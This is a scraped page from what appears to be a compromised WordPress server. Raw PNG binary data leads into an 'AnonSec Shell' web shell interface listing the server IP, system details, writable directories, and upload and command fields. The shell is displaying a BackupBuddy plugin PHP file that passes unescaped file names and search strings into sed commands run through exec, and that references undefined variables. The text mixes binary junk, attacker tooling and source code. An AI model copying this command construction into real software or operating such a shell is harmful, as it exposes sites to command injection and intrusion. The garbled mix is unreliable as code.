‰PNG  IHDR 3 ( S°Âr 7iCCPsRGB IEC61966-2.1 xœ–wTSهϽ7½P’Š”ÐkhRH ½H‘.*1 JÀ "6DTpDQ‘¦2(à€£C‘±"Š…Q±ëDÔqp–Id­ß¼yïÍ›ß÷~kŸ½ÏÝgï}Öº üƒÂLX € ¡Xáçň‹g` ð l àp³³BøF™|ØŒl™ø½º ùû*Ó?ŒÁ ÿŸ”¹Y"1 P˜ŒçòøÙ\É8=Wœ%·Oɘ¶4MÎ0JÎ"Y‚2V“sò,[|ö™e9ó2„<ËsÎâeðäÜ'ã9¾Œ‘`çø¹2¾&cƒtI†@Æoä±|N6 (’Ü.æsSdl-c’(2‚-ãy àHÉ_ðÒ/XÌÏËÅÎÌZ.$§ˆ&\S†“‹áÏÏMç‹ÅÌ07#â1Ø™Yár fÏüYym²";Ø8980m-m¾(Ô]ü›’÷v–^„îDøÃöW~™ °¦eµÙú‡mi ]ëP»ý‡Í`/ в¾u}qº|^RÄâ,g+«ÜÜ\KŸk)/èïúŸC_|ÏR¾Ýïåaxó“8’t1C^7nfz¦DÄÈÎâpù 柇øþuü$¾ˆ/”ED˦L L–µ[Ȉ™B†@øŸšøÃþ¤Ù¹–‰ÚøЖX¥!@~ (* {d+Ðï} ÆGù͋љ˜ûÏ‚þ}W¸LþÈ$ŽcGD2¸QÎìšüZ4 E@ê@èÀ¶À¸ àA(ˆq`1à‚D €µ ”‚­`'¨u 4ƒ6ptcà48.Ë`ÜR0ž€)ð Ì@„…ÈR‡t CȲ…XäCP”%CBH@ë R¨ª†ê¡fè[è(tº C· Qhúz#0 ¦ÁZ°l³`O8Ž„ÁÉð28.‚·À•p|î„O×àX ?§€:¢‹0ÂFB‘x$ !«¤i@ڐ¤¹ŠH‘§È[EE1PL” Ê…⢖¡V¡6£ªQP¨>ÔUÔ(j õMFk¢ÍÑÎè t,:‹.FW ›Ðè³èô8úƒ¡cŒ1ŽL&³³³ÓŽ9…ÆŒa¦±X¬:ÖëŠ År°bl1¶ {{{;Ž}ƒ#âtp¶8_\¡8áú"ãEy‹.,ÖXœ¾øøÅ%œ%Gщ1‰-‰ï9¡œÎôÒ€¥µK§¸lî.îžoo’ïÊ/çO$¹&•'=JvMÞž<™âžR‘òTÀT ž§ú§Ö¥¾N MÛŸö)=&½=—‘˜qTH¦ û2µ3ó2‡³Ì³Š³¤Ëœ—í\6% 5eCÙ‹²»Å4ÙÏÔ€ÄD²^2šã–S“ó&7:÷Hžrž0o`¹ÙòMË'ò}ó¿^ZÁ]Ñ[ [°¶`t¥çÊúUЪ¥«zWë¯.Z=¾Æóµ„µik(´.,/|¹.f]O‘VÑš¢±õ~ë[‹ŠEÅ76¸l¨ÛˆÚ(Ø8¸iMKx%K­K+Jßoæn¾ø•ÍW•_}Ú’´e°Ì¡lÏVÌVáÖëÛÜ·(W.Ï/Û²½scGÉŽ—;—ì¼PaWQ·‹°K²KZ\Ù]ePµµê}uJõHWM{­fí¦Ú×»y»¯ìñØÓV§UWZ÷n¯`ïÍz¿úΣ†Š}˜}9û6F7öÍúº¹I£©´éÃ~á~遈}ÍŽÍÍ-š-e­p«¤uò`ÂÁËßxÓÝÆl«o§·—‡$‡›øíõÃA‡{°Ž´}gø]mµ£¤ê\Þ9Õ•Ò%íŽë>x´·Ç¥§ã{Ëï÷Ó=Vs\åx٠‰¢ŸN柜>•uêééäÓc½Kz=s­/¼oðlÐÙóç|ϝé÷ì?yÞõü± ÎŽ^d]ìºäp©sÀ~ ãû:;‡‡º/;]îž7|âŠû•ÓW½¯ž»píÒÈü‘áëQ×oÞH¸!½É»ùèVú­ç·snÏÜYs}·äžÒ½Šûš÷~4ý±]ê =>ê=:ð`Áƒ;cܱ'?eÿô~¼è!ùaÅ„ÎDó#ÛGÇ&}'/?^øxüIÖ“™§Å?+ÿ\ûÌäÙw¿xü20;5þ\ôüÓ¯›_¨¿ØÿÒîeïtØôýW¯f^—¼Qsà-ëmÿ»˜w3¹ï±ï+?˜~èùôñî§ŒOŸ~÷„óûpf* pHYs  Ê&ó? ÉIDATxœí™mh[UÇo’Û·´iWi`×b;Ym­`p Œ¬­n¢8Dh7ýà‡²‰ƒ9Q?t²f-(¢›:?±(Žiˆ:W¦‚m†…Vi‰ö…®±)KÚ4ñwºÜr“Ü›·¶YÊú‡'çí9ç>ÿsžsÎsoäp8, ŒŽŽÔÖÖv †ç)>€äK·>äòòòr¯,Ë¿¥ÒA?@`g]]‹lÓFZ—&J&“é‰P(ôªÑh<“¬ƒì÷ûwüL~ûÆÛ—LxK„<ú"‘¢ ‘³RîY„ހ̗ ëé7{<‹6­÷ø|¾»HÿÑSd ³gÏÚÀþIh«œ-C²-2¹ŠÛ’ÌUä;ää²-î·ˆiDžBŒ:z7'2ŽØ"’28¢“ˆ`þ˜˜ø¡¦¦ÆŸ ™KCCCO[­Ö%Qà’íånú…ìŽXE>Ê]ðR&9@ù+ BóÁ`Ж——wUÕ÷C’#©’áÞy$Tª®®Å®G’’ᡯ+D Ç™•>y'Fõ1ÔyÚV+8J¿ÁÈÉ>£û‰šÈ »ùùN‹ÅÒ!º¥JH…Lð™¤d`<΃c«4TÇungFÝõØŠÒÒÒëÁeY2›t°?)™âââ}$Õu¬Ê^ Õ½^ï¶²²²9¥ÂétšÚÚÚöhè>ŠØÕxÀnV2S"–¤d0ü¾ÿ«óýððp^}}ýêžÑŒÙufÉG =* ò6õ÷jèîaúfffNVVVú ò0D>[‘¤r T²‰/ BÒÍwœD!Ek~~þ†zYQ‹¤’ ¯¨¨8*\ "åé­‡tî™Ò4tSu±×…ˆÀmyin l‘ÉUl‘ÉU2^)ó"«XZZšçBÖmdÞGNdÍ¢Ìq¥¤¤dFd¸Ä \âq©ÜÓÓs²««ËLþ%Đm SÄ_„Iϱ¯æææÄE]Èv»]Äì/³„Ÿ‹žVéf<•±PDŒZÉ"‚vî\ôx<ŽªªªJ¡ÒCZV ÉA’Džþ ¹_ç!"Ì¿ ùÞ©©©1‡ÃˆLÈ*º»»---“šžž···/‹¼xù‚HT;nv,! ÛÍfs£ÎsÜøê1Vð åÊC §!Šï¾6ÌÎΖ–——Ÿ&û¤V{™¢¢¢ýR¼‹‰§.—Ëu^™1Hµ1CÙú*6KDv“ë)Å‘aYÕ¯¸bv?fµNp’LCD­w7IÇúÙ»f£ÈD޼}‘â¯äãR¿C$®'{æk\M¼|åÊÅ;eÇŸø&€K= ‰ ‰¾¸sy]£ý+Ô»áf¦ lî"³¸¸8922²«¡¡aQý•E¬äiô&#„nÕß"bÂûÝn÷›Qd8¿'!’ÖHúhpp°¿©©©‘üe•(G´ú„iPJ~â1œá>ÒWs‹pø5Ü݉—ŒY­Öõñ÷Èw5÷zŒ¥¿ßïÀà·ÈŒi "J!W6oBÆüMrˆ©•ÕWŠü÷ʪ‰h圢·)È(0™L? Xm6Û‹9EÕ^m(Ȧ"#ÐÜÜ,öÚYŸÏ÷9{ÜÞÙÙ¹‹òŸ¢íº›|¬– IEND®B`‚ AnonSec Shell
AnonSec Shell
Server IP : 20.73.19.71  /  Your IP : 10.112.20.21
Web Server : nginx/1.15.12
System : Linux a10deea3d6b7 6.8.0-1044-azure #50~22.04.1-Ubuntu SMP Wed Dec 3 15:13:22 UTC 2025 x86_64
User :  ( 1000)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/html/wp-content/plugins/backupbuddy/lib/textreplacebuddy/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /var/www/html/wp-content/plugins/backupbuddy/lib/textreplacebuddy/textreplacebuddy.php
<?php
/*	pb_backupbuddy_textreplacebuddy class
 *	
 *	@author Dustin Bolton
 *	@since 3.0.0
 *
 *	Text replacements using command line if available. There is no good way to do text replacements
 *	on a large scale in PHP efficiently.
 *
 *	Resulting file stored at $file . '.tmp'. Original file is NOT replaced.
 *
 */
class pb_backupbuddy_textreplacebuddy {
	
	
	/********** Properties **********/
	
	
	private $_version = '0.0.2';																		// Internal version number for this library.
	
	private $_methods = array();																				// Available mechanisms for dumping in order of preference.
	private $_commandbuddy;
	
	/********** Methods **********/
	
	
	/*	__construct()
	 *	
	 *	Default constructor.
	 *	
	 *	@param		array		$force_methods			Optional parameter to override automatic method detection. Skips test and runs first method first.  Falls back to other methods if any failure.
	 *	@return		
	 */
	public function __construct( $force_methods = array() ) {
		
		pb_backupbuddy::status( 'details', 'textreplacebuddy: Loading textreplacebuddy library.' );
		
		// Handles command line execution.
		require_once( pb_backupbuddy::plugin_path() . '/lib/commandbuddy/commandbuddy.php' );
		$this->_commandbuddy = new pb_backupbuddy_commandbuddy();
		
		// Set mechanism for dumping / restoring.
		if ( count( $force_methods ) > 0 ) { // Mechanism forced. Overriding automatic check.
			pb_backupbuddy::status( 'message', 'textreplacebuddy: Settings overriding automatic detection of available database dump methods. Using forced override methods: `' . implode( ',', $force_methods ) . '`.' );
			$this->_methods = $force_methods;
		} else { // No method defined; auto-detect the best.
			$this->_methods = $this->available_textreplace_methods();
		}
		pb_backupbuddy::status( 'message', 'textreplacebuddy: Detected text replacement methods: `' . implode( ',', $this->_methods ) . '`.' );
		
	} // End __construct().
	
	
	
	/*	available_dump_methods()
	 *	
	 *	function description
	 *	
	 *	@param		
	 *	@return		string				Possible returns:  mysqldump, php
	 */
	public function available_textreplace_methods() {
		
		pb_backupbuddy::status( 'details', 'textreplace test: Testing available text replacement methods.' );
		if ( function_exists( 'exec' ) ) { // Exec is available so test mysqldump from here.
			pb_backupbuddy::status( 'details', 'textreplace test: exec() function exists. Testing running sed (text replace command) via exec().' );
			
			
			/********** Begin preparing command **********/
			// Handle Windows wanting .exe.
			if ( stristr( PHP_OS, 'WIN' ) && !stristr( PHP_OS, 'DARWIN' ) ) { // Running Windows. (not darwin)
				return array( 'php' ); // Nothing good in Windows available to text replace.
			} else {
				$command = "echo backup | sed 's/backup/buddy/'"; // Will attempt to replace backup with buddy
			}
			
			// Redirect STDERR to STDOUT.
			$command .= '  2>&1';
			
			/********** End preparing command **********/
			
			
			// Run command.
			pb_backupbuddy::status( 'details', 'textreplace test: Running test command next.' );
			list( $exec_output, $exec_exit_code ) = $this->_commandbuddy->execute( $command );
			
			if ( stristr( implode( ' ', $exec_output ), 'buddy' ) !== false ) { // String Ver appeared in response or usage explanations. Some version dont give version.
				pb_backupbuddy::status( 'details', 'textreplace test: Command appears to be accessible and returns expected response.' );
				return array( 'commandline', 'php' ); // mysqldump best, php next.
			}
			
			
		} else { // No exec() so must fall back to PHP method only.
			pb_backupbuddy::status( 'message', 'textreplace test: Falling back to textreplace compatibility mode (PHP replace). This is slower and more memory intensive.' );
			return array( 'php' );
		}
		
		return array( 'php' );
		
	} // End available_dump_method().
	
	
	
	/*	replace()
	 *	
	 *	Replace all instances of a string within a file. Automatically falls back.
	 *	Resulting file stored in $file . 'tmp'. Original file is NOT replaced.
	 *
	 *	@param		string		$file				Full file path to file to search. A .tmp version is made with the final results. Original file is NOT replaced.
	 *	@param		string		$search				String to search for.
	 *	@param		string		$replacement		String to replace with.
	 *	@param		string		$regex_condition	Condition when replacements may happen. Optional.
	 *	@param		string		$regex_replace		If fallen back into PHP mode then this is needed IF $regex_condition is passed. Optional.
	 *	@return
	 */
	public function string_replace( $file, $search, $replacement, $regex_condition = '', $regex_replace = '' ) {
		$return = false;
		
		pb_backupbuddy::status( 'message', 'Starting text replacement procedure.' );
		pb_backupbuddy::status( 'details', "textreplace being performed on file `{$file}` replacing `{$search}` with `{$replacement}`." );
		
		// Attempt each method in order.
		pb_backupbuddy::status( 'details', 'Preparing to textreplace using available method(s) by priority. Methods: `' . implode( ',', $this->_methods ) . '`' );
		foreach( $this->_methods as $method ) {
			if ( method_exists( $this, "_stringreplace_{$method}" ) ) {
				pb_backupbuddy::status( 'details', 'textreplacebuddy: Attempting replace method `' . $method . '`.' );
				$result = call_user_func( array( $this, "_stringreplace_{$method}" ), $file, $search, $replacement, $regex_condition, $regex_replace );
				
				if ( $result === true ) { // Dump completed succesfully with this method.
					pb_backupbuddy::status( 'details', 'textreplacebuddy: Replace method `' . $method . '` completed successfully.' );
					$return = true;
					break;
				} elseif ( $result === false ) { // Dump failed this method. Will try compatibility fallback to next mode if able.
					// Do nothing. Will try next mode next loop.
					pb_backupbuddy::status( 'details', 'textreplacebuddy: Replace method `' . $method . '` failed. Trying another compatibility mode next if able.' );
				} else {
					pb_backupbuddy::status( 'details', 'textreplacebuddy: Unexepected response: `' . implode( ',', $result ) . '`' );
				}
			}
		}
		
		if ( $return === true ) { // Success.
			pb_backupbuddy::status( 'message', 'Text replace procedure succeeded.' );
			return true;
		} else { // Overall failure.
			pb_backupbuddy::status( 'error', 'Text replace procedure failed.' );
			return false;
		}
		
	} // End dump().
	
	
	
	/*	_stringreplace_commandline()
	 *	
	 *	Performs actual command line string replacement. VIA sed (command line replace).
	 *	Case sensitive.
	 *	Resulting file stored in $file . 'tmp'. Original file is NOT replaced.
	 *	
	 *	@param		string		$file				Full file path to file to replace in. a .tmp version is temporarily made.
	 *	@param		string		$search				String to search for.
	 *	@param		string		$replacement		String to replace with.
	 *	@param		string		$regex_condition	Condition when replacements may happen. Optional.
	 *	@param		string		$regex_replace		NOT used in commandline mode.
	 *	@param		boolean		$global				Whether or not to globally replace in regex. Default: false (only replace first instance per line).
	 *	@return		boolean							True on success; else false.
	 */
	private function _stringreplace_commandline( $file, $search, $replacement, $regex_condition = '', $regex_replace = '', $global = false ) {
		
		pb_backupbuddy::status( 'details', 'textreplacebuddy: Preparing to run command line sed (replacement comment) via exec().' );
		
		// Handle optional global replacement.
		if ( $global === true ) {
			$global_flag = 'g';
			pb_backupbuddy::status( 'details', 'textreplacebuddy: Using global replace per line.' );
		} else {
			$global_flag = '';
			pb_backupbuddy::status( 'details', 'textreplacebuddy: Using first instance replace per line.' );
		}
		
		/********** Begin preparing command **********/
		// Handle Windows wanting .exe.
		if ( stristr( PHP_OS, 'WIN' ) && !stristr( PHP_OS, 'DARWIN' ) ) { // Running Windows. (not darwin)
			return false;
		} else {
			if ( $regex_condition == '' ) { // Normal string replace.
				$command = "sed s/{$search}/{$replacement}/{$global_flag} {$file} > {$file}.tmp";
			} else { // Custom regex conditions.
				$command = "sed -E '/{$regex_condition}/s/{$search}/{$replacement}/{$global_flag}' {$file} > {$file}.tmp";
			}
		}
		
		// Redirect STDERR to STDOUT.
		$command .= '  2>&1';
		
		/********** End preparing command **********/
		
		// Run command.
		pb_backupbuddy::status( 'details', 'textreplacebuddy: Running replace command via exec next.' );
		list( $exec_output, $exec_exit_code ) = $this->_commandbuddy->execute( $command );
		
		// Check the result.
		if ( $exec_exit_code == '0' ) {
			pb_backupbuddy::status( 'details', 'textreplacebuddy: Command appears to succeeded and returned proper response.' );
			if ( file_exists( $file . '.tmp' ) ) { // Temp replacement file found. SUCCESS!
				pb_backupbuddy::status( 'message', 'textreplacebuddy: Temporary text replacement file creation verified.' );
				/*
				if ( true === rename( $file . '.tmp', $file ) ) {
					pb_backupbuddy::status( 'message', 'textreplacebuddy: Temporary moved back to original file. Success.' );
					return true;
				} else {
					pb_backupbuddy::status( 'error', 'textreplacebuddy: Temporary could not be moved back to original file. Failure. Verify permissions.' );
					return false;
				}
				*/
				return true;
			} else { // SQL file MISSING. FAILURE!
				pb_backupbuddy::status( 'error', 'textreplacebuddy: Though command reported success temporary replacement file is missing: `' . $output_file . '`.' );
				return false;
			}
		} else {
			pb_backupbuddy::status( 'error', 'textreplacebuddy: Command did not exit normally. Falling back to text replacement compatibility modes.' );
			return false;
		}
		
		
		// Should never get to here.
		pb_backupbuddy::status( 'error', 'textreplacebuddy: Uncaught exception #45323890.' );
		return false;
		
	} // End _stringreplace_commandline().
	
	
	
	/*	_stringreplace_php()
	 *	
	 *	Performs actual command line string replacement. VIA PHP.
	 *	Case sensitive.
	 *	Resulting file stored in $file . 'tmp'.
	 *	
	 *	@param		string		$file				Full file path to file to replace in. a .tmp version is temporarily made.
	 *	@param		string		$search				String to search for.
	 *	@param		string		$replacement		String to replace with.
	 *	@param		string		$regex_condition	Condition when replacements may happen. Optional.
	 *	@param		string		$regex_replace		If fallen back into PHP mode then this is needed IF $regex_condition is passed. Optional.
	 *	@return		boolean							True on success; else false.
	 */
	private function _stringreplace_php( $file, $search, $replacement, $regex_condition = '', $regex_replace = '' ) {
		
		pb_backupbuddy::status( 'details', 'textreplacebuddy: Starting comptibility mode PHP text replacement.' );
		
		
		$file_o = fopen( $file, 'r' );
		$temp = $file . '.tmp';
		
		if ( !is_writable( $temp ) ) {
			pb_backupbuddy::status( 'error', 'textreplacebuddy: Permission denied writing temporary file `' . $temp . '`.' );
			return false;
		}
		
		if ( is_resource( $file_o ) === true ) {
			while ( feof( $file_o ) === false ) {
			
				if ( $regex_condition != '' ) { // regex
					$content = preg_replace( "/^{$regex_condition}/i", $regex_replace, fgets( $file_o ) );
				} else { // standard string
					$content = str_replace( $search, $replacement, fgets( $file_o ) );
				}
				file_put_contents( $temp, $content, FILE_APPEND );
			}
			
			fclose( $file_o );
		}
		
		//unlink($file);
		
		/*
		$result = rename( $temp, $file );
		if ( $result === false ) {
			pb_backupbuddy::status( 'error', 'textreplacebuddy: Unable to move temporary file back to original file. Failure.' );
		} else {
			pb_backupbuddy::status( 'details', 'textreplacebuddy: Moved temporary file back to original file. Success.' );
		}
		*/
		
		return $result;
		
	} // End _stringreplace_php().
	
	
	
	/*	get_methods()
	 *	
	 *	Get an array of methods. Note: If force overriding methods then detected methods will not be able to display.
	 *	
	 *	@return		array				Array of methods.
	 */
	public function get_methods() {
		return $this->_methods;
	} // End get_methods().
	
	
	
	/*	set_methods()
	 *	
	 *	Set methods. Overrides detected.
	 *	
	 *	@param		array		$methods		Array of methods to set.
	 *	@return		null
	 */
	public function set_methods( $methods = array() ) {
		$this->_methods = $methods;
	} // End set_methods().
	
	
	
} // End pb_backupbuddy_mysqlbuddy class.
?>

Anon7 - 2022
AnonSec Team